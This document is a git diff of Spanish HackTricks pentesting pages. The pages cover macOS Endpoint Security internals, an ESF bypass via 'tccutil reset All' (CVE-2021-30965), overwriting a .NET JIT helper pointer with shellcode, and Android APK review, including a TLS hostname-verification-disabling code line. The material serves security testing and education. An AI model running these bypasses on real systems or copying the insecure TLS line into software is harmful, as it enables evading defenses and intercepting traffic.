<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
|
|
@ -7,94 +7,94 @@
|
|||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Extensiones del sistema / Marco de seguridad de punto final
|
||||
|
||||
A diferencia de las extensiones del kernel, las **extensiones del sistema se ejecutan en el espacio de usuario** en lugar del espacio del kernel, lo que reduce el riesgo de un fallo del sistema debido al mal funcionamiento de la extensión.
|
||||
A diferencia de las extensiones del kernel, las **extensiones del sistema se ejecutan en el espacio de usuario** en lugar del espacio del kernel, lo que reduce el riesgo de un bloqueo del sistema debido a un mal funcionamiento de la extensión.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Existen tres tipos de extensiones del sistema: extensiones de **DriverKit**, extensiones de **red** y extensiones de **seguridad de punto final**.
|
||||
Existen tres tipos de extensiones del sistema: extensiones de **DriverKit**, extensiones de **Network** y extensiones de **Endpoint Security**.
|
||||
|
||||
### **Extensiones de DriverKit**
|
||||
|
||||
DriverKit es un reemplazo para las extensiones del kernel que **proporcionan soporte de hardware**. Permite que los controladores de dispositivos (como los controladores USB, serie, NIC y HID) se ejecuten en el espacio de usuario en lugar del espacio del kernel. El marco de trabajo DriverKit incluye **versiones de espacio de usuario de ciertas clases de I/O Kit**, y el kernel reenvía los eventos normales de I/O Kit al espacio de usuario, ofreciendo un entorno más seguro para que estos controladores se ejecuten.
|
||||
DriverKit es un reemplazo de las extensiones del kernel que **proporciona soporte de hardware**. Permite que los controladores de dispositivos (como controladores USB, serie, NIC y HID) se ejecuten en el espacio de usuario en lugar del espacio del kernel. El marco de DriverKit incluye **versiones en el espacio de usuario de ciertas clases de I/O Kit**, y el kernel reenvía los eventos normales de I/O Kit al espacio de usuario, ofreciendo un entorno más seguro para que estos controladores se ejecuten.
|
||||
|
||||
### **Extensiones de red**
|
||||
### **Extensiones de Network**
|
||||
|
||||
Las extensiones de red proporcionan la capacidad de personalizar los comportamientos de la red. Hay varios tipos de extensiones de red:
|
||||
Las extensiones de Network proporcionan la capacidad de personalizar los comportamientos de la red. Existen varios tipos de extensiones de Network:
|
||||
|
||||
* **Proxy de aplicación**: se utiliza para crear un cliente VPN que implementa un protocolo VPN personalizado orientado al flujo. Esto significa que maneja el tráfico de red en función de las conexiones (o flujos) en lugar de los paquetes individuales.
|
||||
* **Túnel de paquetes**: se utiliza para crear un cliente VPN que implementa un protocolo VPN personalizado orientado a paquetes. Esto significa que maneja el tráfico de red en función de los paquetes individuales.
|
||||
* **Filtrar datos**: se utiliza para filtrar "flujos" de red. Puede monitorear o modificar los datos de red a nivel de flujo.
|
||||
* **Filtrar paquetes**: se utiliza para filtrar paquetes de red individuales. Puede monitorear o modificar los datos de red a nivel de paquete.
|
||||
* **Proxy DNS**: se utiliza para crear un proveedor DNS personalizado. Se puede utilizar para monitorear o modificar las solicitudes y respuestas de DNS.
|
||||
* **Proxy de aplicación**: se utiliza para crear un cliente VPN que implementa un protocolo VPN personalizado orientado a flujos. Esto significa que maneja el tráfico de red en función de las conexiones (o flujos) en lugar de los paquetes individuales.
|
||||
* **Túnel de paquetes**: se utiliza para crear un cliente VPN que implementa un protocolo VPN personalizado orientado a paquetes individuales. Esto significa que maneja el tráfico de red en función de los paquetes individuales.
|
||||
* **Filtro de datos**: se utiliza para filtrar "flujos" de red. Puede monitorear o modificar datos de red a nivel de flujo.
|
||||
* **Filtro de paquetes**: se utiliza para filtrar paquetes de red individuales. Puede monitorear o modificar datos de red a nivel de paquete.
|
||||
* **Proxy DNS**: se utiliza para crear un proveedor DNS personalizado. Se puede utilizar para monitorear o modificar solicitudes y respuestas DNS.
|
||||
|
||||
## Marco de seguridad de punto final
|
||||
|
||||
Endpoint Security es un marco proporcionado por Apple en macOS que proporciona un conjunto de API para la seguridad del sistema. Está destinado a ser utilizado por **proveedores de seguridad y desarrolladores para construir productos que puedan monitorear y controlar la actividad del sistema** para identificar y proteger contra actividades maliciosas.
|
||||
Endpoint Security es un marco proporcionado por Apple en macOS que proporciona un conjunto de API para la seguridad del sistema. Está destinado a ser utilizado por **proveedores de seguridad y desarrolladores para construir productos que puedan monitorear y controlar la actividad del sistema** para identificar y protegerse contra actividades maliciosas.
|
||||
|
||||
Este marco proporciona una **colección de API para monitorear y controlar la actividad del sistema**, como ejecuciones de procesos, eventos del sistema de archivos, eventos de red y del kernel.
|
||||
|
||||
El núcleo de este marco se implementa en el kernel, como una extensión del kernel (KEXT) ubicada en **`/System/Library/Extensions/EndpointSecurity.kext`**. Esta KEXT está compuesta por varios componentes clave:
|
||||
|
||||
* **EndpointSecurityDriver**: actúa como el "punto de entrada" para la extensión del kernel. Es el punto principal de interacción entre el sistema operativo y el marco de seguridad de punto final.
|
||||
* **EndpointSecurityEventManager**: este componente es responsable de implementar ganchos del kernel. Los ganchos del kernel permiten que el marco monitoree eventos del sistema interceptando llamadas del sistema.
|
||||
* **EndpointSecurityClientManager**: gestiona la comunicación con los clientes del espacio de usuario, realizando un seguimiento de qué clientes están conectados y necesitan recibir notificaciones de eventos.
|
||||
* **EndpointSecurityMessageManager**: envía mensajes y notificaciones de eventos a los clientes del espacio de usuario.
|
||||
* **EndpointSecurityDriver**: actúa como el "punto de entrada" para la extensión del kernel. Es el principal punto de interacción entre el sistema operativo y el marco de seguridad de punto final.
|
||||
* **EndpointSecurityEventManager**: este componente es responsable de implementar ganchos del kernel. Los ganchos del kernel permiten que el marco monitoree eventos del sistema al interceptar llamadas del sistema.
|
||||
* **EndpointSecurityClientManager**: gestiona la comunicación con los clientes en el espacio de usuario, realizando un seguimiento de los clientes conectados que necesitan recibir notificaciones de eventos.
|
||||
* **EndpointSecurityMessageManager**: envía mensajes y notificaciones de eventos a los clientes en el espacio de usuario.
|
||||
|
||||
Los eventos que el marco de seguridad de punto final puede monitorear se clasifican en:
|
||||
|
||||
* Eventos de archivo
|
||||
* Eventos de proceso
|
||||
* Eventos de socket
|
||||
* Eventos de archivos
|
||||
* Eventos de procesos
|
||||
* Eventos de sockets
|
||||
* Eventos del kernel (como cargar/descargar una extensión del kernel o abrir un dispositivo I/O Kit)
|
||||
|
||||
### Arquitectura del marco de seguridad de punto final
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
La **comunicación del espacio de usuario** con el marco de seguridad de punto final se realiza a través de la clase IOUserClient. Se utilizan dos subclases diferentes, según el tipo de llamante:
|
||||
La comunicación en el espacio de usuario con el marco de seguridad de punto final se realiza a través de la clase IOUserClient. Se utilizan dos subclases diferentes, según el tipo de llamante:
|
||||
|
||||
* **EndpointSecurityDriverClient**: requiere la concesión `com.apple.private.endpoint-security.manager`, que solo posee el proceso del sistema `endpointsecurityd`.
|
||||
* **EndpointSecurityExternalClient**: requiere la concesión `com.apple.developer.endpoint-security.client`. Esto lo utilizaría típicamente el software de seguridad de terceros que necesita interactuar con el marco de seguridad de punto final.
|
||||
* **EndpointSecurityDriverClient**: requiere el permiso `com.apple.private.endpoint-security.manager`, que solo tiene el proceso del sistema `endpointsecurityd`.
|
||||
* **EndpointSecurityExternalClient**: requiere el permiso `com.apple.developer.endpoint-security.client`. Esto normalmente sería utilizado por software de seguridad de terceros que necesita interactuar con el marco de seguridad de punto final.
|
||||
|
||||
Las extensiones del sistema de seguridad de punto final: **`libEndpointSecurity.dylib`** es la biblioteca C que utilizan las extensiones del sistema para comunicarse con el kernel. Esta biblioteca utiliza el I/O Kit (`IOKit`) para comunicarse con la extensión del kernel de seguridad de punto final.
|
||||
Las extensiones de seguridad de punto final:**`libEndpointSecurity.dylib`** es la biblioteca en C que utilizan las extensiones del sistema para comunicarse con el kernel. Esta biblioteca utiliza I/O Kit (`IOKit`) para comunicarse con la KEXT de seguridad de punto final.
|
||||
|
||||
**`endpointsecurityd`** es un demonio del sistema clave que participa en la gestión y el lanzamiento de extensiones del sistema de seguridad de punto final, especialmente durante el proceso de arranque temprano. **Solo las extensiones del sistema** marcadas con **`NSEndpointSecurityEarlyBoot`** en su archivo `Info.plist` reciben este tratamiento de arranque temprano.
|
||||
**`endpointsecurityd`** es un demonio del sistema clave que participa en la gestión y el lanzamiento de extensiones del sistema de seguridad de punto final, especialmente durante el proceso de inicio temprano. Solo las extensiones del sistema marcadas con **`NSEndpointSecurityEarlyBoot`** en su archivo `Info.plist` reciben este tratamiento de inicio temprano.
|
||||
|
||||
Otro demonio del sistema, **`sysextd`**, **valida las extensiones del sistema** y las mueve a las ubicaciones del sistema adecuadas. Luego solicita al demonio relevante que cargue la extensión. El **`SystemExtensions.framework`** es responsable de activar y desactivar las extensiones del sistema.
|
||||
## Saltando ESF
|
||||
Otro demonio del sistema, **`sysextd`**, **valida las extensiones del sistema** y las mueve a las ubicaciones adecuadas del sistema. Luego, solicita al demonio relevante que cargue la extensión. El **`SystemExtensions.framework`** es responsable de activar y desactivar las extensiones del sistema.
|
||||
## Bypassando ESF
|
||||
|
||||
ESF es utilizado por herramientas de seguridad que intentarán detectar a un equipo rojo, por lo que cualquier información sobre cómo evitarlo suena interesante.
|
||||
ESF es utilizado por herramientas de seguridad que intentarán detectar a un red teamer, por lo que cualquier información sobre cómo evitar esto suena interesante.
|
||||
|
||||
### CVE-2021-30965
|
||||
|
||||
El problema es que la aplicación de seguridad necesita tener **permisos de acceso completo al disco**. Por lo tanto, si un atacante pudiera eliminar eso, podría evitar que el software se ejecute:
|
||||
La cuestión es que la aplicación de seguridad necesita tener **permisos de acceso completo al disco**. Entonces, si un atacante pudiera eliminar eso, podría evitar que el software se ejecute:
|
||||
```bash
|
||||
tccutil reset All
|
||||
```
|
||||
Para **más información** sobre este bypass y otros relacionados, consulte la charla [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
|
||||
Para obtener **más información** sobre este bypass y otros relacionados, consulta la charla [#OBTS v5.0: "El talón de Aquiles de EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
|
||||
|
||||
Al final, esto se solucionó dando el nuevo permiso **`kTCCServiceEndpointSecurityClient`** a la aplicación de seguridad gestionada por **`tccd`** para que `tccutil` no borre sus permisos y evitar que se ejecute.
|
||||
Al final, esto se solucionó otorgando el nuevo permiso **`kTCCServiceEndpointSecurityClient`** a la aplicación de seguridad gestionada por **`tccd`**, de modo que `tccutil` no borre sus permisos y evite que se ejecute.
|
||||
|
||||
## Referencias
|
||||
|
||||
* [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
|
||||
* [**OBTS v3.0: "Seguridad e inseguridad de Endpoint" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
|
||||
* [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -171,11 +171,11 @@ vmmap -pages 35829 | grep "rwx/rwx"
|
|||
```
|
||||
Entonces, para activar la ejecución, sería necesario conocer algún lugar donde se almacena un puntero de función para sobrescribirlo. Es posible sobrescribir un puntero dentro de la **Tabla de Funciones Dinámicas (DFT)**, que es utilizada por el tiempo de ejecución de .NET Core para proporcionar funciones auxiliares para la compilación JIT. Una lista de punteros de función admitidos se puede encontrar en [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h).
|
||||
|
||||
En las versiones x64, esto es sencillo utilizando la técnica de **búsqueda de firmas** al estilo de mimikatz para buscar en **`libcorclr.dll`** una referencia al símbolo **`_hlpDynamicFuncTable`**, al cual podemos desreferenciar:
|
||||
En las versiones x64, esto es sencillo utilizando la técnica de **búsqueda de firmas** similar a mimikatz para buscar en **`libcorclr.dll`** una referencia al símbolo **`_hlpDynamicFuncTable`**, al cual podemos desreferenciar:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Todo lo que queda por hacer es encontrar una dirección desde la cual comenzar nuestra búsqueda de firmas. Para hacer esto, aprovechamos otra función de depuración expuesta, **`MT_GetDCB`**. Esto devuelve una serie de bits de información útiles sobre el proceso objetivo, pero en nuestro caso, nos interesa un campo que contiene la **dirección de una función auxiliar**, **`m_helperRemoteStartAddr`**. Utilizando esta dirección, sabemos exactamente **dónde se encuentra `libcorclr.dll`** en la memoria del proceso objetivo y podemos comenzar nuestra búsqueda de la DFT.
|
||||
Lo único que queda por hacer es encontrar una dirección desde la cual comenzar nuestra búsqueda de firmas. Para hacer esto, aprovechamos otra función de depuración expuesta, **`MT_GetDCB`**. Esto devuelve una serie de bits de información útiles sobre el proceso objetivo, pero en nuestro caso, nos interesa un campo que contiene la **dirección de una función auxiliar**, **`m_helperRemoteStartAddr`**. Utilizando esta dirección, sabemos exactamente **dónde se encuentra `libcorclr.dll`** en la memoria del proceso objetivo y podemos comenzar nuestra búsqueda de la DFT.
|
||||
|
||||
Conociendo esta dirección, es posible sobrescribir el puntero de función con nuestro propio código shell.
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -25,7 +25,7 @@ Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el p
|
|||
**Conviértete en la leyenda del hacker web3**\
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
||||
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) y comienza a ganar con tus hacks!
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -46,8 +46,8 @@ Echa un vistazo a la siguiente lista de [**Comandos de ADB**](adb-commands.md) p
|
|||
|
||||
## Smali
|
||||
|
||||
A veces es interesante **modificar el código de la aplicación** para acceder a **información oculta** (quizás contraseñas bien ofuscadas o banderas). Luego, puede ser interesante descompilar el apk, modificar el código y volver a compilarlo.\
|
||||
[**En este tutorial** puedes **aprender cómo descompilar un APK, modificar el código Smali y volver a compilar el APK** con la nueva funcionalidad](smali-changes.md). Esto podría ser muy útil como una **alternativa para varias pruebas durante el análisis dinámico** que se presentarán. Entonces, **siempre ten en cuenta esta posibilidad**.
|
||||
A veces es interesante **modificar el código de la aplicación** para acceder a **información oculta** (quizás contraseñas bien ofuscadas o banderas). Luego, podría ser interesante descompilar el apk, modificar el código y recompilarlo.\
|
||||
[**En este tutorial** puedes **aprender cómo descompilar un APK, modificar el código Smali y recompilar el APK** con la nueva funcionalidad](smali-changes.md). Esto podría ser muy útil como una **alternativa para varias pruebas durante el análisis dinámico** que se presentarán. Entonces, **siempre ten en cuenta esta posibilidad**.
|
||||
|
||||
## Otros trucos interesantes
|
||||
|
||||
|
@ -63,7 +63,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
|||
|
||||
adb pull /data/app/com.android.insecurebankv2- Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -73,7 +73,7 @@ Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el p
|
|||
**Obtén experiencia en pentesting web3**\
|
||||
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
|
||||
**Conviértete en una leyenda de los hackers web3**\
|
||||
**Conviértete en la leyenda del hacker web3**\
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
||||
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
|
||||
|
@ -87,7 +87,7 @@ Por favor, [**lee aquí para encontrar información sobre los diferentes descomp
|
|||
|
||||
### Buscando información interesante
|
||||
|
||||
Solo echando un vistazo a las **cadenas de texto** del APK, puedes buscar **contraseñas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), claves de **API**, **encriptación**, **UUIDs de Bluetooth**, **tokens** y cualquier otra cosa interesante... busca incluso puertas traseras de ejecución de código o puertas traseras de autenticación (credenciales de administrador codificadas en la aplicación).
|
||||
Solo echando un vistazo a las **cadenas de texto** del APK, puedes buscar **contraseñas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), claves de **API**, **encriptación**, **UUIDs de Bluetooth**, **tokens** y cualquier cosa interesante... busca incluso puertas traseras de ejecución de código o puertas traseras de autenticación (credenciales de administrador codificadas en la aplicación).
|
||||
|
||||
**Firebase**
|
||||
|
||||
|
@ -95,12 +95,12 @@ Presta especial atención a las **URLs de Firebase** y verifica si están mal co
|
|||
|
||||
### Comprensión básica de la aplicación - Manifest.xml, strings.xml
|
||||
|
||||
Utilizando cualquiera de los **descompiladores** mencionados [**aquí**](apk-decompilers.md), podrás leer el _Manifest.xml_. También puedes **renombrar** el archivo APK cambiando la extensión a **.zip** y **descomprimirlo**.\
|
||||
Utilizando cualquiera de los **descompiladores** mencionados [**aquí**](apk-decompilers.md), podrás leer el _Manifest.xml_. También puedes **renombrar** el archivo APK cambiando la extensión del archivo a **.zip** y **descomprimirlo**.\
|
||||
Leyendo el **manifiesto**, puedes encontrar **vulnerabilidades**:
|
||||
|
||||
* En primer lugar, verifica si **la aplicación se puede depurar**. Un APK de producción no debería serlo (o de lo contrario, otros podrán conectarse a él). Puedes verificar si una aplicación es depurable buscando en el manifiesto el atributo `debuggable="true"` dentro de la etiqueta _\<application_ Ejemplo: `<application theme="@2131296387" debuggable="true"`
|
||||
* En primer lugar, verifica si **la aplicación se puede depurar**. Un APK de producción no debería serlo (o de lo contrario, otros podrán conectarse a él). Puedes verificar si una aplicación se puede depurar buscando en el manifiesto el atributo `debuggable="true"` dentro de la etiqueta _\<application_ Ejemplo: `<application theme="@2131296387" debuggable="true"`
|
||||
* [Aprende aquí](drozer-tutorial/#is-debuggeable) cómo encontrar aplicaciones depurables en un teléfono y explotarlas.
|
||||
* **Copia de seguridad**: El atributo **`android:allowBackup`** define si los datos de la aplicación se pueden respaldar y restaurar por parte de un usuario que haya habilitado la depuración USB. Si la bandera de copia de seguridad está configurada en true, permite a un atacante hacer una copia de seguridad de los datos de la aplicación a través de adb incluso si el dispositivo no está rooteado. Por lo tanto, las aplicaciones que manejan y almacenan información sensible como detalles de tarjetas, contraseñas, etc. deben tener esta configuración explícitamente establecida en **false**, porque de forma predeterminada está establecida en **true** para evitar tales riesgos.
|
||||
* **Copia de seguridad**: El atributo **`android:allowBackup`** define si los datos de la aplicación se pueden respaldar y restaurar por parte de un usuario que haya habilitado la depuración USB. Si la bandera de copia de seguridad está configurada en true, permite que un atacante realice una copia de seguridad de los datos de la aplicación a través de adb, incluso si el dispositivo no está rooteado. Por lo tanto, las aplicaciones que manejan y almacenan información sensible como detalles de tarjetas, contraseñas, etc. deben tener esta configuración explícitamente establecida en **false**, porque de forma predeterminada está establecida en **true** para evitar tales riesgos.
|
||||
* `<application android:allowBackup="false"`
|
||||
* **NetworkSecurity:** La seguridad de red de la aplicación puede sobrescribir los valores predeterminados con **`android:networkSecurityConfig="@xml/network_security_config"`**. Se puede colocar un archivo con ese nombre en _**res/xml.**_ Este archivo configurará ajustes de seguridad importantes como pines de certificado o si permite tráfico HTTP. Puedes leer aquí más información sobre todas las cosas que se pueden configurar, pero revisa este ejemplo sobre cómo configurar el tráfico HTTP para algunos dominios:
|
||||
* `<domain-config cleartextTrafficPermitted="true"> <domain includeSubdomains="true">formation-software.co.uk </domain></domain-config>`
|
||||
|
@ -140,9 +140,9 @@ La mitigación es relativamente simple, ya que el desarrollador puede optar por
|
|||
|
||||
> A veces es esencial que una aplicación pueda verificar que una acción se esté realizando con el pleno conocimiento y consentimiento del usuario, como otorgar una solicitud de permiso, realizar una compra o hacer clic en un anuncio. Desafortunadamente, una aplicación maliciosa podría intentar engañar al usuario para que realice estas acciones sin darse cuenta, ocultando el propósito previsto de la vista. Como remedio, el marco ofrece un mecanismo de filtrado táctil que se puede utilizar para mejorar la seguridad de las vistas que proporcionan acceso a funcionalidades sensibles.
|
||||
>
|
||||
> Para habilitar el filtrado táctil, llama a [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) o establece el atributo de diseño android:filterTouchesWhenObscured en true. Cuando está habilitado, el marco descartará los toques que se reciban siempre que la ventana de la vista esté oculta por otra ventana visible. Como resultado, la vista no recibirá toques cada vez que aparezca un toast, un diálogo u otra ventana por encima de la ventana de la vista.
|
||||
> Para habilitar el filtrado táctil, llama a [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) o establece el atributo de diseño android:filterTouchesWhenObscured en true. Cuando está habilitado, el marco descartará los toques que se reciban siempre que la ventana de la vista esté oculta por otra ventana visible. Como resultado, la vista no recibirá toques cada vez que aparezca un toast, un diálogo u otra ventana encima de la ventana de la vista.
|
||||
|
||||
### Secuestro de tareas
|
||||
### Secuestro de Tareas
|
||||
|
||||
{% content-ref url="android-task-hijacking.md" %}
|
||||
[android-task-hijacking.md](android-task-hijacking.md)
|
||||
|
@ -153,7 +153,7 @@ La mitigación es relativamente simple, ya que el desarrollador puede optar por
|
|||
**Almacenamiento interno**
|
||||
|
||||
Los archivos **creados** en el **almacenamiento interno** solo son **accesibles** por la **aplicación**. Esta protección está implementada por Android y es suficiente para la mayoría de las aplicaciones. Sin embargo, los desarrolladores a menudo utilizan `MODE_WORLD_READBALE` y `MODE_WORLD_WRITABLE` para dar acceso a esos archivos a otra aplicación, pero esto no limita a otras aplicaciones (maliciosas) para acceder a ellos.\
|
||||
Durante el **análisis estático**, verifica el uso de esos **modos**, durante el **análisis dinámico**, verifica los **permisos** de los archivos creados (tal vez algunos de ellos sean legibles / escribibles en todo el mundo).\
|
||||
Durante el **análisis estático**, comprueba el uso de esos **modos**, durante el **análisis dinámico**, comprueba los **permisos** de los archivos creados (tal vez algunos de ellos sean legibles / escribibles en todo el mundo).\
|
||||
[Más información sobre esta vulnerabilidad y cómo solucionarla aquí.](https://manifestsecurity.com/android-application-security-part-8/)
|
||||
|
||||
**Almacenamiento externo**
|
||||
|
@ -165,13 +165,13 @@ Información tomada de [aquí](https://manifestsecurity.com/android-application-
|
|||
El almacenamiento externo se puede **acceder** en `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
{% hint style="info" %}
|
||||
A partir de Android 4.4 (**API 17**), la tarjeta SD tiene una estructura de directorios que **limita el acceso de una aplicación al directorio específico para esa aplicación**. Esto evita que una aplicación maliciosa obtenga acceso de lectura o escritura a los archivos de otra aplicación.
|
||||
A partir de Android 4.4 (**API 17**), la tarjeta SD tiene una estructura de directorios que **limita el acceso de una aplicación al directorio específico de esa aplicación**. Esto evita que una aplicación maliciosa obtenga acceso de lectura o escritura a los archivos de otra aplicación.
|
||||
{% endhint %}
|
||||
|
||||
**Datos sensibles almacenados en texto claro**
|
||||
|
||||
* **Preferencias compartidas**: Android permite que cada aplicación guarde fácilmente archivos xml en la ruta `/data/data/<nombrepaquete>/shared_prefs/` y a veces es posible encontrar información sensible en texto claro en esa carpeta.
|
||||
* **Bases de datos**: Android permite que cada aplicación guarde bases de datos sqlite fácilmente en la ruta `/data/data/<nombrepaquete>/databases/` y a veces es posible encontrar información sensible en texto claro en esa carpeta.
|
||||
* **Preferencias compartidas**: Android permite que cada aplicación guarde fácilmente archivos XML en la ruta `/data/data/<nombrepaquete>/shared_prefs/` y a veces es posible encontrar información sensible en texto claro en esa carpeta.
|
||||
* **Bases de datos**: Android permite que cada aplicación guarde fácilmente bases de datos SQLite en la ruta `/data/data/<nombrepaquete>/databases/` y a veces es posible encontrar información sensible en texto claro en esa carpeta.
|
||||
|
||||
### TLS roto
|
||||
|
||||
|
@ -184,23 +184,23 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
|||
```
|
||||
